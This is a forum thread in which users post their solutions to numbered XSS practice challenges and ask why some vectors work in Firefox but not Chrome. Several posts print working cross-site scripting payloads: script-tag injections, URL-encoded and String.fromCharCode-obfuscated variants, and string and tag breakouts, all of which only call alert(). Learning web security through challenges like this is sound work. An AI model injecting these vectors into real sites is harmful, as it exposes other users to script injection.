[1llusion]

Hello!

Im new to this forum, i've solved the challenges 1 to 4, but im kinda stuck at 5. Any insigths?

Edit:

solved =)

Challenge no.: 5

Spoiler:

Vector: %3cscript%3ealert('xss by StormHasHe');%3c/script%3e

It worked on firefox, but not in chrome, no idea why, can someone explain it to me?

I'll add you to solvers in a min
Chrome has pretty much strong protection against XSS so it won't work in it.

[StormHasHe]

Cool =)

I'm working on 6 right now.

Edit:

6 solved =)

Challenge no.: 6

Spoiler:

Vector:
\');alert(String.fromCharCode(120, 115, 115, 32, 98, 121, 32, 83, 116, 111, 114, 109, 72, 97, 115, 72, 101))<!--

This one worked both on Firefox and Chrome =)

[1llusion]

Congratz to the find
/damn now I have char limit too =,=

[StormHasHe]

Hahahaha! xD

Working on 7 now, stuck at it again =/

edit1:

Solved 7! =D

Challenge no.: 7

Spoiler:

Vector: "/><script>alert('xss')</script><h1 class="hi
The vector was sent by the input name="cake", not the default input name="username"
the <h1> tag was just so i could end the html properly, else it woud display "> as pure text =)

edit2: I don't know if this is the right solution =/

[Dawnc0re]

My Love To XSS.
This is one of my actual hacks where im not using my skiddish skillz :3
Here are my solves:

Challenge no.:1

Spoiler:

Vector - <script>alert('XSS - Dawnc0re')</script>

Challenge no.:2

Spoiler:

Vector - <script>alert(String.fromCharCode(88, 83, 83, 32, 45, 32, 68, 97, 119, 110, 99, 48, 114, 101))</script>

Challenge no.:3

Spoiler:

Vector - </title><script>alert('XSS - Dawnc0re')</script>

Challenge no.:4

Spoiler:

Vector - ');alert("XSS - Dawnc0re");//

Thanks to Snipa for the 4th one, he gave me a hint

[StormHasHe]

the 8º is hardcore... been working on it, no lucky yet

[StormHasHe]

Is my 7º the correct answer? I'm still not sure

[soldi3r]

Challenge page not opening. It's showing error 404 in all browsers..

[bluedog.tar.gz]

Challenge page not opening. It's showing error 404 in all browsers..

I deleted it because it got abused. It was a really nice challenge :/

Topic closed